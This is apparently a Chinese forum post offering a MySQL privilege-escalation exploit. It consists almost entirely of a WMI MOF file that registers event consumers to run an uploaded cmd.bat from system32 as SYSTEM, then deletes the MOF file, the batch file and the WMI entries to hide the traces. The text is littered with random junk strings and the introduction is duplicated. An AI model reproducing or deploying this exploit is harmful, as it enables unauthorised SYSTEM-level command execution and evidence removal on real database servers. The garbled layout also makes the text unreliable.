Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

- w3 Q5 z0 c5 s9 ~3 x+ O6 ]9 x+ Y这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

#pragma
/ g) V. [2 r6 Y: q                        namespace("\\\\.\\root\\cimv2")
& d; p2 o0 F- M4 ^4 B/ U! N  V                        class
                        MyClass547
1 F$ ^" |9 s! m% I2 y                        {           [key]
# }9 b5 L$ v. u. Y                        string
2 K5 C# d3 f5 C/ V) p5 I% _3 t- @                        Name;
- @+ v5 Z  W4 C5 p* R: a                        };
                        class
) L6 J& p8 T+ w) r8 R( z                        ActiveScriptEventConsumer
0 a4 i& j7 A/ O( i( O: D                        : __EventConsumer {          [key]
                        string
                        Name;           [not_null]
* ^* @6 l# W) e/ I& V6 x% ~7 Z0 e                        string
5 g% P+ K/ P0 Y' W                        ScriptingEngine;           string
9 T5 p7 y/ L& ?& }0 C! i- v                        ScriptFileName;           [template]
                        string
                        ScriptText;         uint32 KillTimeout;
                        }; instance of __Win32Provider as $P {
                        Name
                        =
6 ~, Y& q: p& B/ W# [; u+ g2 B) _7 L                        "ActiveScriptEventConsumer";     CLSID =
9 l: s) U" K2 e8 [& \                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
1 O( U2 z/ H' U                        = TRUE;
0 P' E$ @- W. t* R' L- u# P                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
                        };
                        Instance of ActiveScriptEventConsumer
0 F% `7 D* D+ D1 ^  p                        as $cons {         Name
8 b8 p* r  J- T1 Y6 M0 N0 ~% h' @                        =
- c% x  p' n$ f0 n+ C( D) w  K                        "ASEC";         ScriptingEngine
                        =
                        "JScript";         ScriptText
                        =
7 F: M' R- `( y& ^. Z) j( w/ H0 e                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
/ @! }7 M9 Q$ L( l9 m                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
/ p" j9 M1 O% D1 ?. H, m" L* X                        =
                        "qndASEC";         ScriptingEngine
6 n3 D7 i2 X. a                        =
' E' W8 c3 A, T8 Z$ N% }                        "JScript";         ScriptText
                        =
! V% \/ u9 n3 H, r. N- Z/ O                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
                        =
$ i( X1 i2 P, J0 Y, |                        "instfilt";         Query
                        =
0 u: a1 `" _8 j6 C9 t) y- D9 V" `                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
# D$ K9 i" u; u0 u                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
                        "qndfilt";         Query
1 H0 N& R- ^0 y                        =
) ~6 b  l' A5 X) e) D( ^- T                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
  H: y$ ~7 B5 L                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
7 K- P) `: t! t* S( h, c: e                        = $cons;         Filter
                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
                        = $cons2;         Filter
  j* Y3 a' ^$ j& R9 A                        = $Filt2;
3 d0 h3 k- q9 F) ~                        }; instance of MyClass547
                        as $MyClass {         Name
" x7 _7 G7 `) d! m" ~& O                        =
                        "ClassConsumer";
                        };